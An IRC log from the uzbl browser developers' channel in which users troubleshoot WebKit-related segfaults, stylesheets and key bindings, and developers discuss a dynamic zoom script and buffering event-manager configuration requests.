23:30 < rob|> also it's only a set of keybindings
23:31 < jelly12gen> yeah
23:31 < jelly12gen> nice keybidings :p
23:31 < jelly12gen> it got so used to vimperator
23:31 < jelly12gen> chrome is epic speed
23:31 < rob|> indeed
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23:31 < jelly12gen> so let's bring epic speed to uzbl !
23:31 < jelly12gen> :P
23:32 < rob|> you're welcome to do so ;)
23:32 < jelly12gen> i know
23:32 < jelly12gen> dunno how , well coding see ofc.
23:32 < jelly12gen> s/see/C/
23:32 < rob|> ?
23:33 < jelly12gen> ok, i can code C  but probaly not at the level you guys are :)
23:33 < rob|> well, the C part of uzbl is 49% nowadays ;)
23:33 < jelly12gen> and the rest ?
23:34 < jelly12gen> :O
23:34 < rob|> python, JS, shelll, perl, you name it
23:34 < jelly12gen> ok
23:34 < rob|> http://github.com/robm/uzbl/graphs/languages
23:34 < jelly12gen> yeah plugins
23:35 < rob|> well, not exactly
23:35 < jelly12gen> oh
23:35 < rob|> much of uzbls behaviour is controlled by a thing that we call ecent manager
23:35 < rob|> *event
23:35 < jelly12gen> heard of that before
23:36 < jelly12gen> bedtime
23:36 < jelly12gen> goodnight !
23:36 < rob|> night
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01:30 < mjheagle8> has anyone else been having segfaults after the last webkit updates?
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03:37 < tomkins> Anyone on!?!?
03:37 < tomkins> hellooooooooooooooooo
03:38 < mason-l> Just ask a question already.
03:38 < tomkins> Well calm down I just wanted to make sure I wasn't speaking to the wind no need to be belligerent.
03:39 < tomkins> I don't know if I want to talk to someone rude.
03:40 < tomkins> Anyhow, here's my question: Do we know anything at all for sure?
03:40 < bct> sure.
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03:40 < bct> 1 + 1 = 2, by the definitions of 1, +, 2 and =
03:41 < bct> it's pretty absolute.
03:41 < tomkins> Check this snippet of an article out http://en.wikipedia.org/wiki/Epistemology#The_regress_problem
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03:43 < bct> what's it got to do with uzbl though?
03:43 < tomkins> its philosophosy of knowledge
03:43 < tomkins> philosophy
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03:44 < tomkins> Isn't this just another philosophy chatroom?
03:45 < tomkins> Or is it just for discussion of unix-related computer issues
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03:47 < tomkins> Ok so I'm not in a proper channel can we still discuss it?
03:48 < tomkins> I guess not lol
03:49 < juantelez> haha
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03:52 < comhack> I am running uzbl-git on archlinux and after a reboot I get a segmentation fault when running uzbl
03:52 < comhack> any ideaks
03:52 < comhack> #ideals
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03:53 < juantelez> comhack: I have not idea
03:53 < comhack> also 64bit
03:53 < comhack> thanks anyway
03:53 < juantelez> but someone a couples hours ago says
03:53 < juantelez> [20:32:02]     mjheagle8> has anyone else been having segfaults after the last webkit updates?
03:54 < comhack> I even reinstalled it
03:54 < comhack> ahhhh
03:54 < juantelez> that was almost two and a half hours before
03:54 < comhack> umm gonna try experimental
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03:58 < comhack> no good
03:58 < comhack> shit I have been using uzbl only   ughhh
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03:59 < comhack> yup http://bbs.archlinux.org/viewtopic.php?pid=641542#p641542
04:05 < comhack> I just downgraded libwebkit
04:05 < comhack> till its fixed following that thread for changes
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05:11 < comhack> OK got another question, I change the colors on my default.css and I spawn a new uzbl and nothing changes.... How can I enable my default.css
05:11 < comhack> ?
05:12 < comhack> trying lich's css from arch forums
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05:59 < keis> comhack: I'm using change_style.sh from the wiki to handle stylesheets
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06:32 < keis> speaking of user css, has anyone been able to remove the entire ads table from google?
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07:11 < rllu> sorry if this has been answered elsewhere, but where does the uzbl name come from?
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07:14 < lich> raylu: it's read "usable". google "lolcat"
07:14 < lich> useable*
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07:15 < raylu> ah =\
07:16 < modnaru> Usable is right.
07:16 < lich> really?
07:18 < modnaru> Google?
07:18 < lich> nah, I trust you
07:19 < lich> some english words are confusing for me
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09:43 < Dieterbe_> good morning ladyfwiends
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10:03 < hickop> aww, is that new libwebkit that makes uzbl to segfault ?
10:03 < Dieterbe_> so it seems
10:03 < lich> I'm up to latest and no problems
10:07 < hickop> well both git and experimental segfault for me with libwebkit 1.1.15.3
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10:45 < Dieterbe_> yeah ubl segfaults for me too
10:46 < Dieterbe_> since the new webkit
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14:07 < rob|> mornings
14:07 < lich> hey
14:08 < rob|> again issues with webkit? :(
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14:11 < Dieterbe_> yeah
14:14 < rob|> hmm
14:15 < rob|> they should use uzbl as their testing platform ;)
14:15 < Dieterbe_> :P
14:16 < rob|> mason-l: how's it going with tabbed?
14:16 < lich> yeah, weekend almost here :D
14:17 < rob|> also the GEOMETRY_CHANGED event will get back in. a simple script could use it for dynamic zooming based on window size
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15:23 < rob|> oh, yeah this works pretty well..
15:23 < Dieterbe_> what are you doing?
15:24 < rob|> dynamic zooming the content based on the window size
15:24 < rob|> so you would e.g. get a zoom_level of 0.5 when the uzbl window is smaller than say 400x400
15:25 < rob|> pretty nice feature for tilers is i guess
15:26 < Dieterbe_> yeah sounds cool
15:27 < Dieterbe_> mason-l: here?
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15:35 < rob|> hmm, i guess i should base the screen on fractions of the screensize
15:35 < rob|> *base the script on fractions of
15:37 < raylu> http://www.uzbl.org/readme.php is missing the word "who" on the first "this project is not for" line
15:40 < Dieterbe_> indeed
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16:06 < raylu> i'm using a mostly default uzbl config (just started using/configuring it) https://pastee.org/eabsn and i'm having an issue with my 1 and 2 binds
16:06 < raylu> when i start uzbl first, 1 and 2 output cause this output in the shell:
16:06 < raylu> : $4: ambiguous redirect
16:07 < raylu> but if i create a new uzbl instance with the t _ keybind, 1 and 2 work
16:10 < rob|> probably a stale fifo, close all uzbls and "rm /tmp/uzbl_*"
16:10 < rob|> and try agaian
16:11 < rob|> -a
16:14 < raylu> rob|: ah, thanks!
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17:20 < rob|> man this is strange, installed arch in vmware. pinging any host works fine, though pacman dies with a connection timeout on _any_ mirror
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17:30 < Dieterbe_> well, you can configure the command pacman uses to fetch data in pacman.conf, change it to be more verbose?
17:31 < rob|> well, it's a fresh install so don't have a real choice there
17:32 < ruskie> rob|, what networking are you using on vmware?
17:32 < rob|> nat
17:33 < ruskie> and you have ip4.forward turned on in sysctl and iptables(I'm assuming the host is linux)
17:34 < rob|> actually no firewall
17:34 < ruskie> you need to make do with masquareding there
17:34 < rob|> and i don't see why i would need ip_forward here, though even with that it doesn#t work
17:34 < rob|> no
17:34 < rob|> pinging works
17:34 < rob|> so anything else should also work
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17:38 < quinq> Hi
17:38 < rob|> hey
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17:39 < quinq> I have a question, in exemple given config files, there is a $XDG_DATA_HOME, but uzbl can't use its default value, is that a known problem ?
17:40 < Dieterbe_> yeah
17:41 < quinq> Ok :)
17:41 < ruskie> :)
17:41 < quinq> Erf, I didn't see that in bugreports, just found it, sorry about that
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17:50 < rob|> alright got it working with a bridged network
17:50 < ruskie> I know I needed to to masquarade on the NAT interfaces
17:54 < rob|> i see, well i like this solution better anyways
17:55 < ruskie> naturally
17:55 < ruskie> only becomes a problem when you get like me a need to have the same mac in multiple VMs
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18:08 < raylu> quinq: what do you mean its default value?
18:08 < quinq> I meant expend it in config file to value defined in uzbl.h
18:09 < Dieterbe_> raylu: the default values are certain directories in your $HOME, see http://standards.freedesktop.org/basedir-spec/basedir-spec-0.6.html
18:09 < quinq> yeah, which follows fdo recomendations
18:09 < raylu> well, those values weren't set on my system
18:09 < ruskie> raylu, they aren't on most
18:09 < raylu> $XDG_DATA_DIRS, $XDG_SESSION_COOKIE were defined, but nothing else
18:10 < ruskie> raylu, the app should fallback to the defaults in such case
18:10 < quinq> Do you use it in your config file ?
18:10 < ruskie> i.e. ~/.config ~/.cache ~/.local
18:10 < raylu> quinq: nope. i took them out and replaced it with $HOME/.uzbl, heh =\
18:10 < quinq> :)
18:11 < raylu> xdg sounds nice, but everything else already uses their own directories, so it wouldn't be much of a cleanup
18:11 < ruskie> raylu, it would
18:11 < ruskie> raylu, since everything would start putting configs under ~/.config
18:11 < raylu> how so?
18:11 < ruskie> I have quite a bit of apps there already
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18:12 < ruskie> I even have some bash scripts that use those
18:12 < raylu> you mean my mplayer, moc ,qlculate, wine, etc. will start using it?
18:12 < ruskie> eventually
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18:15 < Dieterbe_> 2nd what ruskie said. in fact, i'm gradually replacing programs that don't adhere it to alternatives that do
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18:15 < Dieterbe_> it was one of the reasons i started uzbl, in fact :P
18:15 < Dieterbe_> oops i use 'in fact' too much
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18:23 < ruskie> btw Dieterbe_ got uzbl running on the N900 yet?
18:24 < Dieterbe_> no, i haven't done anything with the n900 yet (other then reporting some bugs). it's a shame
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19:04 < noisetonepause> Dieterbe_: you've an n900?
19:05 < lich> no, hels from belgium
19:06 < lich> he's
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19:30 < Dieterbe_> noisetonepause: yeah
19:30 < noisetonepause> Dieterbe_: how is it?
19:30 < noisetonepause> I want one.
19:30 < Dieterbe_> it's very nice. everything i wanted 
19:31 < Dieterbe_> http://dieter.plaetinck.be/about_the_maemo_summit_2009_and_the_nokia_n900
19:32 < noisetonepause> nice.
19:35  * ruskie is waiting to it to be released
19:37 < noisetonepause> i tink it coincides with my first pay check
19:37 < ruskie> it coincides with me actually saving enough for it ;)
19:38 < noisetonepause> no, i finally got a job
19:38 < noisetonepause> first pay check end of next week
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19:38 < noisetonepause> n900 hits sweden friday, apparently
19:38 < noisetonepause> how's that not a sign from god?
19:39 < ruskie> erm
19:39 < Dieterbe_> heh. i just read the release was delayed till "somewhere november"
19:39 < ruskie> I think you are dreaming
19:39 < ruskie> yup
19:39 < Dieterbe_> http://tweakers.net/nieuws/63254/nokia-stelt-release-linux-smartphone-n900-uit.html
19:39 < noisetonepause> BAAAAAAH
19:39 < ruskie> their marketing guy said as much on talk.maemo
19:39 < ruskie> sometime during November
19:39 < noisetonepause> hrmph.
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19:59 < Dieterbe_> hey ruskie , nokia is going crazy.. http://yro.slashdot.org/story/09/10/22/1541220/Nokia-Sues-Apple-For-Patent-Infringement-In-iPhone?from=rss
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20:00 < ruskie> not really ;)
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20:00 < ruskie> as was speculated on the forum... probably wants something apple has
20:01 < Dieterbe_> with crazy i meant 'not so ethical business practices'. but actually i just read their claims seem legit, so hmmm
20:04 < ruskie> well they don't have much in ethics there
20:05 < ruskie> consider they are FOR EU SWPATS
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20:17 < lich> is webkit ported to osx?
20:17 < noisetonepause> er
20:17 < noisetonepause> hehehe
20:18 < MichaelRaskin> It is port of KHTML to MacOS X
20:18 < noisetonepause> http://en.wikipedia.org/wiki/Webkit
20:18 < noisetonepause> The name and project 'WebKit' were created in 2002 when Apple Inc. created a fork of KHTMLand KJS.
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20:19 < lich> anyone smell x-uzbl? :D
20:20 < noisetonepause> there's a webkit component in interface builder
20:20 < noisetonepause> you can make most of a browser with no lines of code...
20:20 < noisetonepause> just need to expose the events somehow.
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20:21 < lich> I was thinking more towards porting, not rewriting
20:21 < noisetonepause> uzbl uses gtk/webkit
20:22 < noisetonepause> wouldn't exactly make bundles of sense
20:22 < lich> would if you had gtk on osx like I do
20:23 < noisetonepause> well, my guess is that it compiles already
20:23 < noisetonepause> give it a go
20:24 < lich> can't now, I hate osx, only use it at work :)
20:24 < noisetonepause> hehe
20:24 < lich> will try it tomorrow
20:24 < lich> will have to check maxports for webkit, chances are it's in there somewhere
20:24 < noisetonepause> it is.
20:24 < lich> plus, I have X, so porting shouldn't be much of a bother
20:24 < lich> no need to rewrite it with cocoa and the likes, just use X :D, I use it anyway for avidemux
20:25 < lich> and fluxbox
20:25 < lich> and ratpoison
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20:31 < Dieterbe_> aaron runs uzbl on macosx
20:32 < Dieterbe_> he wrote a macport for it, or whatever it's called
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21:10 < farhaven> does anyone have any idea why webkit/uzbl refuses to render local pages?
21:11 < farhaven> i.e. everything with the prefix file:// gets displayed as is
21:11 < farhaven> where some time ago it used to render fine
21:11 < farhaven> not even the webkit inspector works :(
21:11 < bct> the same thing happens to me.
21:11 < bct> i haven't tried to track it down yet.
21:11 < farhaven> cool, i'm not alone :D
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21:30 < ruskie> hmm nice after updating to latest master uzbl_tabbed doesn't work as it should anymore
21:31 < ruskie> i.e. bind_tab_from_uri = T _ won't work ... if I run it from the cmd line I only get "new" there
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22:25 < rob|>  @on_event   GEOMETRY_CHANGED  script dynzoom.js
22:25 < rob|> http://pastebin.ca/1638291
22:27 < lithis> rob|: Cool. I was just wondering if there was a feature like Opera's "fit to width" feature. This sounds different, but still nice.
22:28 < lich> uzbl sucks
22:28 < lich> use opera, it's better
22:28 < lich> :P
22:29 < lithis> Until there's a Windows port, I have to use Opera at work.
22:29 < rob|> lithis: unfortunatelly webkit does not offer such a function, yet
22:29 < rob|> so playing with the zoom level is the best we can get
22:29 < lithis> I figured it probably needed to be implemented in WebKit.
22:30 < lich> is there a cygwin port of webkit?
22:30 < lithis> It's a very nice feature when tiling windows.
22:30 < rob|> yeah
22:30 < Dieterbe_> for fit to width, you need to know the width of a webpage. how do you do that? i mean, webpages have no statically defined widths right?
22:30 < lich> rob|: was that `yeah' for me?
22:30 < Dieterbe_> or does it have some heuristics to find borders of the "main text" ?
22:30 < rob|> lich: no
22:30 < lich> Dieterbe_: they can with tables :)
22:30 < lich> you can specify sizes in percentage or pixels afaik
22:31 < lithis> Opera's fit to width isn't always perfect, but it usually works quite well.
22:31 < lithis> I don't know how it's implemented, though. (Who does?...)
22:31 < lich> I got a nice fit to width in my PSP browser, it;s an option, it scales text and tables to fit as much as they can
22:31 < lich> usually keeps a nice layout
22:32 < lich> so it COULD be obtained programatically, but most likely a hard thing to do..and useless tbh
22:34 < lithis> rob|: With your zoom script, I could finally implement my "less-recently-used windows are scaled smaller, but keep same aspect ratio" idea in xmonad with the spiral layout.
22:34 < rob|> nice! spiral is a quite interesting layout
22:35 < lich> indeed
22:35 < lich> why would anyone have more than 3 windows tiled at the same time though? :(
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22:35 < lich> tI can understand on dualscreens with high resolutions, bur on normal 1280x1024...
22:36 < lithis> I can manage with 4 to 5 windows on my 1680x1050, depending on the apps running.
22:37 < lithis> But usually I only two or three.
22:38 < lithis> rob|: Are you going to put that on the uzbl wiki?
22:38 < lich> I have at best 3, one tall and 2 others, only when I watch some movie series but do some other stuff
22:38 < rob|> yeah, will do
22:38 < lich> other than that, a vertical split, with terminal on bottom and uzbl on top, or fullscreen
22:39 < rob|> lithis: any suggestion on a smarter default logic?
22:39 < lich> get one? :P
22:39 < lithis> No. I'm using Windows now, so I haven't tried running it.
22:40 < rob|> ok
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22:46 < lithis> rob|: If possible, getting the widths of all visible uzbl windows and scaling each window based on how wide it is compared to the widest would be nice.
22:48 < rob|> hmm, i think this is would be a bit overkill for a simple default logic although it would certainly be possible
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23:54 < lysgaard> Is it possible to rebind the escape key?
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00:02 < DuClare> Did you try?
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00:13 < lysgaard> DuClare: Yeah, there's no binding of it in the config file
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01:23 < lithis7> rob|: How do I use dynzoom.js?
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01:46 < kick52> I hope this doesn't sound like a noobish question, but how can I get flash working in uzbl? I've read somewhere that webkit will look in ~/.mozilla/plugins/ ?
01:47 < raylu> i currently have it in /usr/lib/mozilla/plugins/flash-mozilla.so
01:47 < kick52> and that works fine?
01:47 < raylu> yep
01:47 < kick52> great :D
01:48 < kick52> eh, I'm off to bed. thanks
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03:17 < uRoRRoRRR> Is anyone esle getting seg faults?
03:17 < uRoRRoRRR> *else
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03:18 < comhack> Does anyone know if anything is being worked on to fix the issue with the new webkit and uzbl-git. I have it webkit held back in pacman.conf in Archlinux for now. Thanks
03:18 < comhack> sorry the problem is the segmentation faults
03:19 < comhack> I am following this thread but nothing yet http://bbs.archlinux.org/viewtopic.php?id=70700&p=27
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03:43 < raylu> a lot of people were talking about that today
03:43 < raylu> (new webkit causes segfaults)
03:46 < comhack> yeah I know that was what I was wondering   if anyone knew of any thing that is being done or worked on to fix the issue
03:46 < comhack> I noticed it yesterday with the libwebkit update
03:47 < comhack> 1.1.15.3-1
03:49 < comhack> I have it blacklisted right now for updates using 1.1.15.2-1 until its fixed
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04:40 < bct> whoa my animated gifs are freaking out
04:40 < bct> it's great
04:40 < bct> it's like a tv with lost tracking, pretty cool
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04:45 < comhack> I changed my defaults.css and I cannot enable the changes for some reason. I restarted uzbl ,etc.  Any ideals?
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04:49 < comhack> uzbl-git on arch
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04:49 < keis> did you do a "set stylesheet_uri = file://etc"
04:50 < comhack> umm no thanks alot
04:50 < comhack> in uzbl config?
04:51 < keis> yeah.
04:51 < comhack> thanks alot
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06:01 < axionix> hmm,i restarted xorg and now uzbl wont load and segfaults
06:05 < modnaru> Webkit 1.1.15.3 segfaults uzbl.
06:05 < modnaru> Just in case that's the problem.
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06:07 < axionix> i didnt update webkit...let me check what i have
06:07 < axionix> hmm...guess i did recently
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07:36 < ktvoelker> I'm wondering how to bind the backspace key...
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07:41 < ktvoelker> hmm...I might be an idiot, it seems the backspace key is Really Special since it erases command keys that have been pressed but haven't had any effect yet, which I suppose is pretty necessary
07:42 < ruskie> erm
07:42 < ruskie> you weren't aware of this?
07:42 < ruskie> think how vim behaves
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07:44 < ktvoelker> I was, but I had some sort of doublethink going on....probably I am too tired for this right now.
07:45 < ruskie> :)
07:47 < axionix> can anyone confirm libwebkit-git fixes the segfault problem that occurs with 1.1.15.3
07:47 < axionix> ?
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07:58 < keis> I've got backspace configurable on my branch ;p
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08:03 < axionix> using elinks while you wait hours for webkit to git checkout/compile sucks when you need gfx :)
08:05 < keis> hours, really?
08:05 < axionix> close to 1gb of commits to download
08:06 < axionix> plus compile that doesnt seem to end even on a c2d
08:06 < keis> ah, a fresh checkout :)
08:06 < ruskie> takes 44 minutes to build webkitgtk here
08:06 < axionix> all this and i dont even know if it will fix the segfault :)
08:07 < keis> I haven't timed but it feels like less than a hour for me.
08:07 < keis> I guess ccache helps, but I dunno how much
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09:52 < lich> is it too late to ask for feature request in -tabbed? :D
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09:57 < Dieterbe_> hey jellyman!
09:58 < ruskie> hmm where did mason run off to?
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09:59 < lich> jellyconcarne
09:59 < Dieterbe_> don't know :/
09:59  * ruskie has probs with -tabbed with master from last night
10:00 < lich> I want configurable border for tabs in -tabbed
10:00 < lich> shouldn't be too hard to implement
10:00 < Dieterbe_> then implement it
10:00 < lich> I suck at python
10:00 < lich> http://s3.amazonaws.com/scrnshots.com/screenshots/204665/cpng
10:00 < lich> I want to style the tabs something like that
10:04 < keis> you can style the tabs i xmonad ;)
10:04 < keis> in*
10:04 < lich> I don't use xmonad
10:04 < lich> and I want to style the uzbl-tabbed tabs, not the wm
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10:10 < MichaelRaskin> Hm, where does WebKit crash for people?
10:10 < MichaelRaskin> Just built latest experimental Uzbl on latest WebKit nightly
10:10 < MichaelRaskin> /. frontpage loads, and that's not a given
10:13 < Dieterbe_> :P
10:13 < Dieterbe_> indeed
10:16 < keis> just pushed a commit to my experimental making uzbl reconnect to unix-sockets.
10:16 < keis> kinda handy if the EM dies :P
10:18 < MichaelRaskin> Is there an option to re-feed the config in such a case?
10:19 < keis> not yet. but there should be one :)
10:20 < Dieterbe_> or what about triggering an event when you needed to reconnect, then you can bind refeeding the config to such an event.. hmm or not. as the config is not loaded yet
10:21 < keis> maybe we can have the EM request the config on connect?
10:24 < MichaelRaskin> Or maybe we are going to admit that configs will be managed by EMs
10:25 < MichaelRaskin> Because they have to be EM-specific
10:26 < rob|> morning.
10:26 < MichaelRaskin> Except parts setting Uzbl inner configuration, which well belong to uzbl
10:26 < Dieterbe_> hi robman
10:27 < keis> hmm. yeah. things done by "event XXX" could be in a em-config
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10:27 < keis> but then again, it's nice to have everything in one place
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10:37 < rob|> keis: the EM could as well push the "config" to uzbl
10:38 < rob|> especially now that we have --connect-socket we don't depend on pre-set fifos/sockets
10:41 < keis> hmm. but then we have a "configuration and event manager"
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10:43 < keis> I like how the em is without configuration and could in theory be used with other applications, like say a uzblfork for newsreading or something (that would be nice btw)
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10:45 < rob|> well, that's certainly a valid point
10:45 < rob|> the other problem is that we would need to buffer "the config" (which actually doesn't exist) through the whole lifetime of uzbl
10:46 < rob|> poetntially having some huge data structure linger around that won't be needed anyways
10:46 < keis> or re-run it
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10:47 < rob|> you can only re-run it if there is a config file and setting done during the runtime would be lost with that approach
10:47 < rob|> certainly better than nothing, though doesn't seem to be the cleanest solution
10:48 < keis> the em settings would be lost anyway, as they are stored in the crashed em
10:48 < rob|> well, he already have 'dump_config' and 'dump_config_as_events'
10:49 < rob|> s/he/we/
10:50 < keis> yes, but that ignores em settings, right?
10:50 < keis> as they are done by sending events
10:51 < rob|> indeed
10:52 < lich> release this weekend?
10:52 < lich> will -experimental become -git?
10:52 < rob|> so you suggest to add a command that re-parses the config on request, right?
10:52 < rob|> s/config/config file/
10:53 < keis> I don't know :P
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10:54 < keis> for it to work good (no reseting of current page etc) we would need some selective re-parseing. and that sounds way to complex
10:55 < ruskie> lich, probably once all the issues are ironed out ;)
10:56 < rob|> ruskie: yeah, tabbed is the most prominent showstopper right now
10:59 < keis> something like specifying a context for each command, and the we colud reload only those in the "event-manager" context :S
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11:07 < rob|> hmm
11:07 < rob|> not a bad idea
11:08 < keis> it's a solution, but I think it's best to avoid adding complexity to the 'language' if another solution can be found
11:09 < rob|> i guess we could do this in a transparent way, as only event commands are relevant for the EM config
11:09 < rob|> so event has it's own context for eveything else the EM would have to query uzbl
11:09 < keis> hmm?
11:10 < keis> like only evaluating event commands?
11:11 < rob|> like, buffering event commands to a separate hash and whenever we connect a socket we either dump this event buffer to it automatically or with a command 'replay events'
11:12 < rob|> that's a bit problematic, though as the EM uses 'events' for different purposes
11:12 < keis> but we send a metric fucktonne of events, that log would be huge
11:12 < rob|> indeed :(
11:13 < rob|> so a request/event separation would be a good thing in this scenario. where requests are soley used for configuting the EM and events are only events and not misuded for config
11:14 < keis> yeah, that might work
11:14 < rob|> in other words we would buffer every request command but not event
11:16 < keis> we have some grayzone things, like "request TOGGLE_MODES"
11:17 < keis> but I guess it would be acceptable to have that as a event and reset to the default mode if we lose the EM
11:25 < rob|> yeah
11:26 < rob|> the cool thing about buffering requests is that we could also get rid of the timeout function in send_event_socket()
11:26 < rob|> i guess that's the way to go
11:26 < keis> yes, I like it :)
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11:33 < rob|> so, let's see which data structure would fit best for this.
11:33 < rob|> probably as hash of hashes
11:33 < keis> I think we want to keep the order
11:33 < rob|> hmm
11:33 < keis> and not really do any lookups
11:34 < rob|> but we need lookup in case the user "overwrites" a config option at run time
11:34 < rob|> like rebinding or something
11:34 < keis> that would require uzbl to know of the EMs syntax
11:35 < rob|> no, not necessarily
11:35 < keis> so it can know that BIND arg1 arg2 arg3 is a bind of arg1 to do cammand arg3
11:35 < keis> or rather, know that "BIND arg1" is the key
11:36 < rob|> we would have a structure like this:  (key)request_hash{request_name}->(key)ptr_to_hash{request_string}->(value){nothing}
11:36 < keis> by just replaying all requests the EM can handle the rebind
11:37 < keis> err
11:37 < rob|> sure, but that would let the buffer grow for no reason
11:38 < keis> I don't think it will be problem unless you rebind alot
11:39 < keis> and the best thing we can do without knowing the EM syntax is to find duplicates
11:39 < rob|> yep
11:39 < rob|> that's my whole reasoning. avoiding duplicates
11:40 < keis> but we still need to maintain the order for rebinds, as they will not be duplicates
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11:41 < rob|> true
11:43 < keis> I would use a linked-list or a array, and the duplicate finding can be done with a simple search
11:43 < keis> as we assume the request list will be small
11:44  * ruskie still recalls doing linked-lists for classes and how people moaned about it
11:45 < rob|> glib's pointer arrays are pretty well suited for this and trivial to use
11:45 < keis> indeed, they have nasty cornercases when you start deleting from them
11:46 < rob|> probably they are implemented as linked lists anyways
11:46 < rob|> internally that is
11:46 < keis> maybe list of array
11:47 < keis> if we initialize with say a size of 100 we are propably safe from resizing in the most common cases
11:48 < ruskie> can't you first get a count of how much you need to store?
11:48 < rob|> guys, GPtrArrays do all this transparently
11:49 < rob|> i also use them to store the IOChannels of the socket connections
11:49 < keis> yes, but avoiding the resize is good pracitise anyway
11:49 < rob|> sure
11:51 < keis> it would be nice knowing how the implement it, but the documentation say you can use sized_new to avoid frequent reallocation
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12:45 < keis> btw, on dups we should move them to the end
12:51  * rob| is playing with an acars decoder, fun thing :)
13:02 < rob|> keis: would you like to implement the request buffer? that would fir quite well with your socket reconnect code
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13:27 < Dieterbe_> rob|: an acawhat?
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13:59 < rob|> Dieterbe_: telemetry data from airplanes
14:00 < rob|> aircraft communications addressing and reporting system
14:00 < Dieterbe_> i see
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14:25 < rob|> oh btw, http://omploader.org/vMmxvbw
14:26 < rob|> my "creative hollow" ;)
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14:27 < rob|> well, at least the part of it that looks more tidy :P
14:35 < Dieterbe_> what's the "pizzabox" on the right?
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14:42 < rob|> oh, just a button array
14:42 < Dieterbe_> that controls..?
14:42 < rob|> controls the mains of switches, monitors and some other things
14:43 < lich> rotating bed with disco mirror ball? :P
14:44 < rob|> haha, yeah exactly
14:45 < lich> cool, I should make a switch for mine too
14:46 < Dieterbe_> yeah that looks useful
14:46 < rob|> it is, yeah
14:50 < Dieterbe_> you built it yourself or can you buy it?
14:52 < rob|> i bought it from
14:52 < rob|> conrad.de
14:55 < Dieterbe_> what is it called?
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14:57 < rob|> "Power - Manager"
14:58 < rob|> the new models look more futuristic as it seems
14:59 < rob|> and also more expensive
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15:01 < Dieterbe_> hmm it seems like the buttons are hardwired 1:1 to the sockets. would be cool to have - hi mason-l ! - a bit more flexibility
15:02 < mason-l> Hey
15:02 < rob|> hey mason
15:02 < mason-l> Brb, I'm trying to get the keysym for a windows key.
15:02 < rob|> Dieterbe_: true, nothing is to stopping you from hacking the device, though ;)
15:02 < Dieterbe_> yeah. but then you could just as well build it yourself :P
15:03 < rob|> well, i guess that would never look that professional
15:03 < rob|> and would end up more expensive for sure
15:04 < Dieterbe_> you think? a case, some buttons, some sockets and some wiring stuff
15:05 < Dieterbe_> oh wait, does this also contain fuses?
15:05 < Dieterbe_> per-socket?
15:05 < rob|> not sure about the new models, the old one has one main fuse
15:06 < rob|> but building in a switchable relais matrix sounds like a good idea
15:06 < mason-l> Awesome, I think I'm almost settled into my HHKP2
15:06 < mason-l> I love xmodmap
15:06 < rob|> oh, nice you got one of those?
15:06 < mason-l> Yeah
15:07 < rob|> cool
15:07 < mason-l> They come with a row of switches on the back to change the behavior of different Fn and other special keys actions I just couldn't switch the BackSpace with the Delete on the hardware side.
15:08 < Dieterbe_> o_O
15:08 < mason-l> And I got the keytop-less version so I had to remember the new placement of all the _+|\=-`~: keys
15:10 < mason-l> http://www.youtube.com/watch?v=b5CeNunbHto <- I got this version.
15:10 < rob|> nice sound
15:11 < rob|> ;)
15:11 < mason-l> And awesome key-feel, capacitive mechanism as it turns out.
15:13 < mason-l> And the control is in an awesome position taking over the capslock key.
15:13 < mason-l> So how have things been progressing?
15:13 < mason-l> I'll have some commits up in a few hours.
15:17 < Dieterbe_> mason-l: i would like to resolve the issues i asked about in my email
15:18 < Dieterbe_> so i would like you to respond to my mail if possible
15:18 < mason-l> Certainly.
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15:24 < rob|> so, i added the dynamic zoom thing to the wiki: http://www.uzbl.org/wiki/dynamic_zooming
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15:29 < rob|> funny, the surf folks seem to also come to the conclusion that separting the browseer into distinct functional modules is the way to go ;)
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15:38 < Dieterbe_> not really
15:38 < Dieterbe_> they are talking about separating html rendering from network interaction, which is also in uzbl together in uzbl-core
15:41 < Dieterbe_> but interesting discussion yeah
15:42 < Dieterbe_> they will never like the amount of separation we do. we use different programs with stdin/socket/fifo interfaces, they use C patches to add/remove functionality
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15:55 < raylu> when i click a link that is supposed to open in a new window, it does... but doesn't use the same arguments i passed on the command line
15:55 < raylu> how can i control the behavior of new windows?
16:11 < rob|> raylu: set new_window  = some_action
16:11 < rob|> raylu: see the example in the config
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16:13 < raylu> oh wow. didn't notice that. thanks
16:13 < rob|> sure thing
16:15 < rob|> Dieterbe_: indeed, but webkit allows to access (since 1.1.14) the "pure" data
16:15 < rob|> using WebKitWebDataSource
16:17 < Dieterbe_> yeah but still i don't think it's easy to really separate those concerns
16:22 < Dieterbe_> weekeeeeeend wee
16:22  * Dieterbe_ &
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18:09 < Dieterbe_> <3 http://www.youtube.com/watch?v=cXu00ZwcJ5w&NR=1
18:24 < mason-l> I love Muse!
18:25 < lich> Muse blows
18:25 < lich> apart from bliss, nice video and song
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18:36 < mason-l> I also like these guys: http://www.youtube.com/watch?v=TnftF1CVq-U
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18:50 < Dieterbe_> mmm yeah it's ok
18:50 < Dieterbe_> hello github!
18:51 < Dieterbe_> meh stupid bot :P
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19:01 < mason-l> Dieterbe_, Oh and the reason I didn't make the same "uzbl-cookie-daemon" launcher is because we are planning on replacing the daemon with an EM plugin after we've got sync events sorted.
19:01 < lich> mason-l: still working on -tabbed?
19:02 < lich> I have a feature request if it's implementable
19:02 < mason-l> lich, Go ahead
19:03 < lich> mason-l: can we have configurable borders for the tab styling part?
19:03 < lich> the line style shouyld also be configurable, eg solid, dotted etc
19:03 < mason-l> Yeah
19:03 < lich> let me give you an example of what I want to do
19:03 < mason-l> Oh wait..
19:03 < mason-l> Ok
19:04 < Dieterbe_> mason-l: ah right.. anyway my other points remain
19:04 < lich> http://s3.amazonaws.com/scrnshots.com/screenshots/204665/cpng
19:04 < lich> mason-l: ^ see those ff/vimp tabs?
19:04 < lich> would be nice if something like that could be obtained with styling
19:05 < lich> I would really want atleast a normal solid border, width and color should be configurable
19:05 < lich> atleast the color, and make it like 1 px or something
19:05 < mason-l> That should be possible but thats actually styling the gtk-tabs currently the tablist is just a cleverly formatted gtk-text widget.
19:06 < lich> `btw, what is the difference between two modems`
19:06 < lich> best question I've heard in months
19:06 < lich> mason-l: I use the ones done by your script, not the gtk ones
19:07 < mason-l> So far I haven't attempted to style the gtk-tabs and I don't know how difficult it will be.
19:07 < lich> http://omploader.org/vMmxyMg/2009-10-23-194238_1280x1024_scrot.png
19:07 < lich> ignore the first 2 frames, the 3rd one is my -tabbed
19:07 < lich> that's what I use, not gtk tabs
19:07 < mason-l> But working on uzbl_tabbed.py in the experimental branch is difficult period given the new EM changes.
19:07 < lich> anyways...brb
19:11 < Dieterbe_> rob|: here?
19:25 < Dieterbe_> hmmm why do i need, when doing `make test-dev-browser` to press ^d before the uzbl window appears?
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19:36 < github> uzbl: Robert Manea experimental SHA1-cbf5a29
